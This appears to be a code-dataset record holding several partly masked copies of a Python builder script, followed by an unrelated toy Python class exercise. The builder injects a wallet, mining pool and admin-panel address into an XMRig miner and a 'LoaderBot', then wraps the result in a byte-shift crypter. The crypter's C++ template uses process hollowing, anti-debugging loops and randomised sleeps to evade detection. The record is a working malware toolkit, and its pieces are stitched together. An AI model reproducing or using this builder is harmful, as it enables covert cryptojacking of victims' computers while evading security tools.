(GetThreadContext(PI.hThread, LPCONTEXT(CTX))) { ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0); pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL); for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) { SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40)); WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0); } WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0); CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; SetThreadContext(PI.hThread, LPCONTEXT(CTX)); ResumeThread(PI.hThread); return 0; } } } } int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { for (int i = 0; i < 550000; i++) OutputDebugStringW(L""); for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) { unsigned char b = rawData[i] + 0x0%n%; rawData[i] = b; } Sleep(((rand() % 5 + 1) + 5) * 1000); RunPortableExecutable(rawData); return 0; } """ txt = txt.replace('%n%', str(key)) w.write(txt) compileM(os.getcwd() + '\\src\\', 'ConsoleApplication1') xcopy(os.getcwd() + '\\src\\Release\\Crypter.exe', os.getcwd() + '\\' + name + '.exe') <mask token>
<mask token> def load_userdata(wallet, pool, ww, logger, adminka): with open('D:\\msys64\\xmrig-master\\src\\ex.cpp', 'r') as f: file = f.read() file = file.replace('%u%', wallet) file = file.replace('%p%', pool) file = file.replace('%w%', ww) with open('D:\\msys64\\xmrig-master\\src\\xmrig.cpp', 'w') as w: w.write(file) with open(os.getcwd() + '\\Bot\\Miner\\ex.cs', 'r') as f: file = f.read() file = file.replace('%l%', logger) file = file.replace('%a%', adminka) with open(os.getcwd() + '\\Bot\\Miner\\Program.cs', 'w') as w: w.write(file) def writeBytes(key): with open(os.getcwd() + '\\file.txt', 'r') as f: file = f.read() with open(os.getcwd() + '\\Miner\\CryptRunPe\\winhost.cpp', 'w') as w: w.write( """#include <stdafx.h> #include "process.h" #include "memrun.h" using namespace std; """ ) with open('ex.txt') as ex: w.write(file) exx = ex.read() w.write(exx) def compile(path, file): os.system( '%windir%\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe "' + path + file + '.sln" /p:Configuration=Release') def compileM(path, file): os.system('msbuild.exe "' + path + file + '.sln" /p:Configuration=Release') def compileR(path, file): os.system('msbuild.exe "' + path + file + '.sln" /p:Configuration=Release /p:Platform="WIN32"') def xcopy(path, out): try: with open(path, 'rb') as f: file = f.read() with open(out, 'wb') as w: w.write(bytearray(file)) except: pass def crypt(name, key): with open('encoder.cpp', 'w') as w: txt = """ #include <Windows.h> #include <winternl.h> #include <iostream> #include <string> #include <fstream> using namespace std; int main() { FILE * file = fopen("in.exe", "rb"); if (file == NULL) return 0; fseek(file, 0, SEEK_END); long int size = ftell(file); fclose(file); file = fopen("in.exe", "rb"); unsigned char * in = (unsigned char *)malloc(size); int bytes_read = fread(in, sizeof(unsigned char), size, file); fclose(file); for (int i = 0; i < size; i++) { in[i] = in[i] - 0x0%n%; } file = fopen("out.exe", "wb"); int bytes_written = fwrite(in, sizeof(unsigned char), size, file); fclose(file); for (int i = 0; i < size; i++) { in[i] = in[i] + 0x0%n%; } file = fopen("decr.exe", "wb"); bytes_written = fwrite(in, sizeof(unsigned char), size, file); fclose(file); return 0; } """ txt = txt.replace('%n%', str(key)) w.write(txt) os.system('g++ -o enc encoder.cpp') os.system('C:\\Python27\\python.exe cv.py') with open('file.txt', 'r') as r: with open(os.getcwd() + '\\src\\crypter\\crypter.cpp', 'w') as w: txt = """ #include "stdafx.h" #include "Crypter.h" #include <windows.h> #include <winternl.h> #pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"ntdll.lib") """ + r.read() + """ int RunPortableExecutable(void* Image) { IMAGE_DOS_HEADER* DOSHeader; IMAGE_NT_HEADERS* NtHeader; IMAGE_SECTION_HEADER* SectionHeader; PROCESS_INFORMATION PI; STARTUPINFOA SI; CONTEXT* CTX; DWORD* ImageBase; void* pImageBase; int count; char buffer[MAX_PATH]; GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH); char *CurrentFilePath = buffer; DOSHeader = PIMAGE_DOS_HEADER(Image); NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); if (NtHeader->Signature == IMAGE_NT_SIGNATURE) { ZeroMemory(&PI, sizeof(PI)); ZeroMemory(&SI, sizeof(SI)); typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); NtUnmapViewOfSection mNtUnmapViewOfSection; if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) { CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); CTX->ContextFlags = CONTEXT_FULL; if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) { ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0); pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL); for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) { SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40)); WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0); } WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0); CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; SetThreadContext(PI.hThread, LPCONTEXT(CTX)); ResumeThread(PI.hThread); return 0; } } } } int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { for (int i = 0; i < 550000; i++) OutputDebugStringW(L""); for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) { unsigned char b = rawData[i] + 0x0%n%; rawData[i] = b; } Sleep(((rand() % 5 + 1) + 5) * 1000); RunPortableExecutable(rawData); return 0; } """ txt = txt.replace('%n%', str(key)) w.write(txt) compileM(os.getcwd() + '\\src\\', 'ConsoleApplication1') xcopy(os.getcwd() + '\\src\\Release\\Crypter.exe', os.getcwd() + '\\' + name + '.exe') <mask token> load_userdata(u, p, w, l, a) compile(os.getcwd() + '\\Bot\\', 'LoaderBot') xcopy(os.getcwd() + '\\Bot\\Miner\\bin\\Release\\LoaderBot.exe', 'Bot.exe') compileR(os.getcwd() + '\\rig\\', 'xmrig') xcopy(os.getcwd() + '\\rig\\Release\\xmrig.exe', 'out.exe') crypt('test', key) os.system('C:\\Python27\\python.exe cv.py') writeBytes(key) compileM(os.getcwd() + '\\Miner\\', 'winhost') xcopy(os.getcwd() + '\\Miner\\Release\\winhost.exe', 'in.exe') print(os.getcwd() + '\\enc.exe') subprocess.call(os.getcwd() + '\\enc.exe') crypt('winhost', key) os.system('del file.txt') os.system('del in.exe') os.system('del out.exe') os.system('del decr.exe') os.system('del enc.exe') os.system('del test.exe')
<mask token> def load_userdata(wallet, pool, ww, logger, adminka): with open('D:\\msys64\\xmrig-master\\src\\ex.cpp', 'r') as f: file = f.read() file = file.replace('%u%', wallet) file = file.replace('%p%', pool) file = file.replace('%w%', ww) with open('D:\\msys64\\xmrig-master\\src\\xmrig.cpp', 'w') as w: w.write(file) with open(os.getcwd() + '\\Bot\\Miner\\ex.cs', 'r') as f: file = f.read() file = file.replace('%l%', logger) file = file.replace('%a%', adminka) with open(os.getcwd() + '\\Bot\\Miner\\Program.cs', 'w') as w: w.write(file) def writeBytes(key): with open(os.getcwd() + '\\file.txt', 'r') as f: file = f.read() with open(os.getcwd() + '\\Miner\\CryptRunPe\\winhost.cpp', 'w') as w: w.write( """#include <stdafx.h> #include "process.h" #include "memrun.h" using namespace std; """ ) with open('ex.txt') as ex: w.write(file) exx = ex.read() w.write(exx) def compile(path, file): os.system( '%windir%\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe "' + path + file + '.sln" /p:Configuration=Release') def compileM(path, file): os.system('msbuild.exe "' + path + file + '.sln" /p:Configuration=Release') def compileR(path, file): os.system('msbuild.exe "' + path + file + '.sln" /p:Configuration=Release /p:Platform="WIN32"') def xcopy(path, out): try: with open(path, 'rb') as f: file = f.read() with open(out, 'wb') as w: w.write(bytearray(file)) except: pass def crypt(name, key): with open('encoder.cpp', 'w') as w: txt = """ #include <Windows.h> #include <winternl.h> #include <iostream> #include <string> #include <fstream> using namespace std; int main() { FILE * file = fopen("in.exe", "rb"); if (file == NULL) return 0; fseek(file, 0, SEEK_END); long int size = ftell(file); fclose(file); file = fopen("in.exe", "rb"); unsigned char * in = (unsigned char *)malloc(size); int bytes_read = fread(in, sizeof(unsigned char), size, file); fclose(file); for (int i = 0; i < size; i++) { in[i] = in[i] - 0x0%n%; } file = fopen("out.exe", "wb"); int bytes_written = fwrite(in, sizeof(unsigned char), size, file); fclose(file); for (int i = 0; i < size; i++) { in[i] = in[i] + 0x0%n%; } file = fopen("decr.exe", "wb"); bytes_written = fwrite(in, sizeof(unsigned char), size, file); fclose(file); return 0; } """ txt = txt.replace('%n%', str(key)) w.write(txt) os.system('g++ -o enc encoder.cpp') os.system('C:\\Python27\\python.exe cv.py') with open('file.txt', 'r') as r: with open(os.getcwd() + '\\src\\crypter\\crypter.cpp', 'w') as w: txt = """ #include "stdafx.h" #include "Crypter.h" #include <windows.h> #include <winternl.h> #pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"ntdll.lib") """ + r.read() + """ int RunPortableExecutable(void* Image) { IMAGE_DOS_HEADER* DOSHeader; IMAGE_NT_HEADERS* NtHeader; IMAGE_SECTION_HEADER* SectionHeader; PROCESS_INFORMATION PI; STARTUPINFOA SI; CONTEXT* CTX; DWORD* ImageBase; void* pImageBase; int count; char buffer[MAX_PATH]; GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH); char *CurrentFilePath = buffer; DOSHeader = PIMAGE_DOS_HEADER(Image); NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); if (NtHeader->Signature == IMAGE_NT_SIGNATURE) { ZeroMemory(&PI, sizeof(PI)); ZeroMemory(&SI, sizeof(SI)); typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); NtUnmapViewOfSection mNtUnmapViewOfSection; if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) { CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); CTX->ContextFlags = CONTEXT_FULL; if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) { ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0); pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL); for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) { SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40)); WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0); } WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0); CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; SetThreadContext(PI.hThread, LPCONTEXT(CTX)); ResumeThread(PI.hThread); return 0; } } } } int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { for (int i = 0; i < 550000; i++) OutputDebugStringW(L""); for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) { unsigned char b = rawData[i] + 0x0%n%; rawData[i] = b; } Sleep(((rand() % 5 + 1) + 5) * 1000); RunPortableExecutable(rawData); return 0; } """ txt = txt.replace('%n%', str(key)) w.write(txt) compileM(os.getcwd() + '\\src\\', 'ConsoleApplication1') xcopy(os.getcwd() + '\\src\\Release\\Crypter.exe', os.getcwd() + '\\' + name + '.exe') key = random.randint(1, 100) u = sys.argv[1] w = sys.argv[2] p = sys.argv[3] l = sys.argv[4] a = sys.argv[5] load_userdata(u, p, w, l, a) compile(os.getcwd() + '\\Bot\\', 'LoaderBot') xcopy(os.getcwd() + '\\Bot\\Miner\\bin\\Release\\LoaderBot.exe', 'Bot.exe') compileR(os.getcwd() + '\\rig\\', 'xmrig') xcopy(os.getcwd() + '\\rig\\Release\\xmrig.exe', 'out.exe') crypt('test', key) os.system('C:\\Python27\\python.exe cv.py') writeBytes(key) compileM(os.getcwd() + '\\Miner\\', 'winhost') xcopy(os.getcwd() + '\\Miner\\Release\\winhost.exe', 'in.exe') print(os.getcwd() + '\\enc.exe') subprocess.call(os.getcwd() + '\\enc.exe') crypt('winhost', key) os.system('del file.txt') os.system('del in.exe') os.system('del out.exe') os.system('del decr.exe') os.system('del enc.exe') os.system('del test.exe')
import os, sys, time, random, subprocess def load_userdata(wallet, pool, ww, logger, adminka): with open('D:\\msys64\\xmrig-master\\src\\ex.cpp', 'r') as f: file = f.read() file = file.replace('%u%', wallet) file = file.replace('%p%', pool) file = file.replace('%w%', ww) with open('D:\\msys64\\xmrig-master\\src\\xmrig.cpp', 'w') as w: w.write(file) with open(os.getcwd() + '\\Bot\\Miner\\ex.cs', 'r') as f: file = f.read() file = file.replace('%l%', logger) file = file.replace('%a%', adminka) with open(os.getcwd() + '\\Bot\\Miner\\Program.cs', 'w') as w: w.write(file) def writeBytes(key): with open(os.getcwd() + '\\file.txt', 'r') as f: file = f.read() with open(os.getcwd() + '\\Miner\\CryptRunPe\\winhost.cpp', 'w') as w: w.write( """#include <stdafx.h> #include "process.h" #include "memrun.h" using namespace std; """ ) with open('ex.txt') as ex: w.write(file) exx = ex.read() w.write(exx) def compile(path, file): os.system( '%windir%\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe "' + path + file + '.sln" /p:Configuration=Release') def compileM(path, file): os.system('msbuild.exe "' + path + file + '.sln" /p:Configuration=Release') def compileR(path, file): os.system('msbuild.exe "' + path + file + '.sln" /p:Configuration=Release /p:Platform="WIN32"') def xcopy(path, out): try: with open(path, 'rb') as f: file = f.read() with open(out, 'wb') as w: w.write(bytearray(file)) except: pass def crypt(name, key): with open('encoder.cpp', 'w') as w: txt = """ #include <Windows.h> #include <winternl.h> #include <iostream> #include <string> #include <fstream> using namespace std; int main() { FILE * file = fopen("in.exe", "rb"); if (file == NULL) return 0; fseek(file, 0, SEEK_END); long int size = ftell(file); fclose(file); file = fopen("in.exe", "rb"); unsigned char * in = (unsigned char *)malloc(size); int bytes_read = fread(in, sizeof(unsigned char), size, file); fclose(file); for (int i = 0; i < size; i++) { in[i] = in[i] - 0x0%n%; } file = fopen("out.exe", "wb"); int bytes_written = fwrite(in, sizeof(unsigned char), size, file); fclose(file); for (int i = 0; i < size; i++) { in[i] = in[i] + 0x0%n%; } file = fopen("decr.exe", "wb"); bytes_written = fwrite(in, sizeof(unsigned char), size, file); fclose(file); return 0; } """ txt = txt.replace('%n%', str(key)) w.write(txt) os.system('g++ -o enc encoder.cpp') os.system('C:\\Python27\\python.exe cv.py') with open('file.txt', 'r') as r: with open(os.getcwd() + '\\src\\crypter\\crypter.cpp', 'w') as w: txt = """ #include "stdafx.h" #include "Crypter.h" #include <windows.h> #include <winternl.h> #pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"ntdll.lib") """ + r.read() + """ int RunPortableExecutable(void* Image) { IMAGE_DOS_HEADER* DOSHeader; IMAGE_NT_HEADERS* NtHeader; IMAGE_SECTION_HEADER* SectionHeader; PROCESS_INFORMATION PI; STARTUPINFOA SI; CONTEXT* CTX; DWORD* ImageBase; void* pImageBase; int count; char buffer[MAX_PATH]; GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH); char *CurrentFilePath = buffer; DOSHeader = PIMAGE_DOS_HEADER(Image); NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); if (NtHeader->Signature == IMAGE_NT_SIGNATURE) { ZeroMemory(&PI, sizeof(PI)); ZeroMemory(&SI, sizeof(SI)); typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); NtUnmapViewOfSection mNtUnmapViewOfSection; if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) { CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); CTX->ContextFlags = CONTEXT_FULL; if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) { ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0); pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL); for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) { SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40)); WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0); } WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0); CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; SetThreadContext(PI.hThread, LPCONTEXT(CTX)); ResumeThread(PI.hThread); return 0; } } } } int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { for (int i = 0; i < 550000; i++) OutputDebugStringW(L""); for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) { unsigned char b = rawData[i] + 0x0%n%; rawData[i] = b; } Sleep(((rand() % 5 + 1) + 5) * 1000); RunPortableExecutable(rawData); return 0; } """ txt = txt.replace('%n%', str(key)) w.write(txt) compileM(os.getcwd() + '\\src\\', 'ConsoleApplication1') xcopy(os.getcwd() + '\\src\\Release\\Crypter.exe', os.getcwd() + '\\' + name + '.exe') key = random.randint(1, 100) u = sys.argv[1] w = sys.argv[2] p = sys.argv[3] l = sys.argv[4] a = sys.argv[5] load_userdata(u, p, w, l, a) compile(os.getcwd() + '\\Bot\\', 'LoaderBot') xcopy(os.getcwd() + '\\Bot\\Miner\\bin\\Release\\LoaderBot.exe', 'Bot.exe') compileR(os.getcwd() + '\\rig\\', 'xmrig') xcopy(os.getcwd() + '\\rig\\Release\\xmrig.exe', 'out.exe') crypt('test', key) os.system('C:\\Python27\\python.exe cv.py') writeBytes(key) compileM(os.getcwd() + '\\Miner\\', 'winhost') xcopy(os.getcwd() + '\\Miner\\Release\\winhost.exe', 'in.exe') print(os.getcwd() + '\\enc.exe') subprocess.call(os.getcwd() + '\\enc.exe') crypt('winhost', key) os.system('del file.txt') os.system('del in.exe') os.system('del out.exe') os.system('del decr.exe') os.system('del enc.exe') os.system('del test.exe')
import os, sys, time, random, subprocess def load_userdata(wallet, pool, ww, logger, adminka): with open("D:\\msys64\\xmrig-master\\src\\ex.cpp", "r") as f: file = f.read() file = file.replace("%u%", wallet) file = file.replace("%p%", pool) file = file.replace("%w%", ww) with open("D:\\msys64\\xmrig-master\\src\\xmrig.cpp", "w") as w: w.write(file) with open(os.getcwd()+"\\Bot\\Miner\\ex.cs", "r") as f: file = f.read() file = file.replace("%l%", logger) file = file.replace("%a%", adminka) with open(os.getcwd()+"\\Bot\\Miner\\Program.cs", "w") as w: w.write(file) def writeBytes(key): with open(os.getcwd()+"\\file.txt", "r") as f: file = f.read() with open(os.getcwd()+"\\Miner\\CryptRunPe\\winhost.cpp", "w") as w: w.write("#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n") with open("ex.txt") as ex: w.write(file) exx = ex.read() w.write(exx) def compile(path, file): os.system("%windir%\Microsoft.NET\Framework\\v4.0.30319\msbuild.exe \""+path+file+".sln\" /p:Configuration=Release") def compileM(path, file): os.system("msbuild.exe \""+path+file+".sln\" /p:Configuration=Release") def compileR(path, file): os.system("msbuild.exe \""+path+file+".sln\" /p:Configuration=Release /p:Platform=\"WIN32\"") def xcopy(path, out): try: with open(path, "rb") as f: file = f.read() with open(out, "wb") as w: w.write(bytearray(file)) except: pass def crypt(name, key): with open('encoder.cpp', 'w') as w: txt = '\n\ #include <Windows.h>\n\ #include <winternl.h>\n\ #include <iostream>\n\ #include <string>\n\ #include <fstream>\n\ using namespace std;\n\ int main()\n\ {\n\ FILE * file = fopen("in.exe", "rb");\n\ if (file == NULL) return 0;\n\ fseek(file, 0, SEEK_END);\n\ long int size = ftell(file);\n\ fclose(file);\n\ file = fopen("in.exe", "rb");\n\ unsigned char * in = (unsigned char *)malloc(size);\n\ int bytes_read = fread(in, sizeof(unsigned char), size, file);\n\ fclose(file);\n\ for (int i = 0; i < size; i++) {\n\ in[i] = in[i] - 0x0%n%;\n\ }\n\ file = fopen("out.exe", "wb");\n\ int bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n\ fclose(file);\n\ for (int i = 0; i < size; i++) {\n\ in[i] = in[i] + 0x0%n%;\n\ }\n\ file = fopen("decr.exe", "wb");\n\ bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n\ fclose(file);\n\ return 0;\n\ }\n\ ' txt = txt.replace("%n%", str(key)) w.write(txt) os.system("g++ -o enc encoder.cpp") os.system("C:\Python27\python.exe cv.py") with open('file.txt', 'r') as r: with open(os.getcwd()+"\\src\\crypter\\crypter.cpp", "w") as w: txt = '\ #include "stdafx.h"\n\ #include "Crypter.h"\n\ #include <windows.h>\n\ #include <winternl.h>\n\ #pragma comment(lib,"ws2_32.lib")\n\ #pragma comment(lib,"ntdll.lib")\n\ '+ r.read() + '\ int RunPortableExecutable(void* Image) {\n\ IMAGE_DOS_HEADER* DOSHeader;\n\ IMAGE_NT_HEADERS* NtHeader;\n\ IMAGE_SECTION_HEADER* SectionHeader;\n\ PROCESS_INFORMATION PI;\n\ STARTUPINFOA SI;\n\ CONTEXT* CTX;\n\ DWORD* ImageBase;\n\ void* pImageBase;\n\ int count;\n\ char buffer[MAX_PATH];\n\ GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);\n\ char *CurrentFilePath = buffer;\n\ DOSHeader = PIMAGE_DOS_HEADER(Image);\n\ NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);\n\ if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {\n\ ZeroMemory(&PI, sizeof(PI));\n\ ZeroMemory(&SI, sizeof(SI));\n\ typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\n\ NtUnmapViewOfSection mNtUnmapViewOfSection;\n\ if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {\n\ CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));\n\ CTX->ContextFlags = CONTEXT_FULL;\n\ if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {\n\ ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);\n\ pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),\n\ NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);\n\ WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);\n\ for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {\n\ SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));\n\ WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),\n\ LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);\n\ }\n\ WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);\n\ CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;\n\ SetThreadContext(PI.hThread, LPCONTEXT(CTX));\n\ ResumeThread(PI.hThread);\n\ return 0;\n\ }\n\ }\n\ }\n\ }\n\ int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {\n\ for (int i = 0; i < 550000; i++)\n\ OutputDebugStringW(L"");\n\ for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {\n\ unsigned char b = rawData[i] + 0x0%n%;\n\ rawData[i] = b;\n\ }\n\ Sleep(((rand() % 5 + 1) + 5) * 1000);\n\ RunPortableExecutable(rawData);\n\ return 0;\n\ }\ ' txt = txt.replace("%n%", str(key)) w.write(txt) compileM(os.getcwd()+"\\src\\", "ConsoleApplication1") xcopy(os.getcwd() + "\\src\\Release\\Crypter.exe", os.getcwd()+"\\"+name+".exe") key = random.randint(1, 100) u = sys.argv[1] w = sys.argv[2] p = sys.argv[3] l = sys.argv[4] a = sys.argv[5] load_userdata(u, p, w, l, a) compile(os.getcwd()+"\\Bot\\", "LoaderBot") xcopy(os.getcwd()+"\\Bot\\Miner\\bin\\Release\\LoaderBot.exe", "Bot.exe") compileR(os.getcwd()+"\\rig\\", "xmrig") xcopy(os.getcwd()+"\\rig\\Release\\xmrig.exe", "out.exe") crypt("test", key) os.system("C:\Python27\python.exe cv.py") writeBytes(key) compileM(os.getcwd()+"\\Miner\\", "winhost") xcopy(os.getcwd()+"\\Miner\\Release\\winhost.exe", "in.exe") print(os.getcwd()+"\\enc.exe") subprocess.call(os.getcwd()+"\\enc.exe") crypt("winhost", key) os.system("del file.txt") os.system("del in.exe") os.system("del out.exe") os.system("del decr.exe") os.system("del enc.exe") os.system("del test.exe")
[ 7, 8, 9, 10, 11 ]
9,939
babb5ac680c74e19db5c86c2c3323e8285d169ff
class MyClass: <mask token> def set_name(self, name): self.name = name def get_name(self): return self.name def say_hello(self): self.greet = 'Hello' def say_hi(self): print('HI~~~~~') <mask token>
class MyClass: name = 'alice' def set_name(self, name): self.name = name def get_name(self): return self.name def say_hello(self): self.greet = 'Hello' def say_hi(self): print('HI~~~~~') <mask token>
class MyClass: name = 'alice' def set_name(self, name): self.name = name def get_name(self): return self.name def say_hello(self): self.greet = 'Hello' def say_hi(self): print('HI~~~~~') <mask token> print(p1.name) p1.set_name('bob') print(p1.name) print(p2.name) p1.say_hello() print(p1.greet) MyClass.say_hi('gg')
class MyClass: name = 'alice' def set_name(self, name): self.name = name def get_name(self): return self.name def say_hello(self): self.greet = 'Hello' def say_hi(self): print('HI~~~~~') p1 = MyClass() p2 = MyClass() print(p1.name) p1.set_name('bob') print(p1.name) print(p2.name) p1.say_hello() print(p1.greet) MyClass.say_hi('gg')
class MyClass: name = "alice" def set_name(self, name): self.name = name def get_name(self): return self.name def say_hello(self): self.greet = "Hello" def say_hi(self): print("HI~~~~~") p1 = MyClass() p2 = MyClass() print(p1.name) p1.set_name("bob") print(p1.name) print(p2.name) # 인스턴스 멤버를 적용한후에 그 인스턴스 멤버에 접근 할 수 있다 p1.say_hello() print(p1.greet) #클래스 메서드를 클래스. 으로 호출 했기 떄문에 self 파라미터를 하나 넘겨 줘야 한다 MyClass.say_hi("gg")
[ 5, 6, 7, 8, 9 ]
9,940
e9754530bef7614c16cdba0e818c1fa188e2d9a2
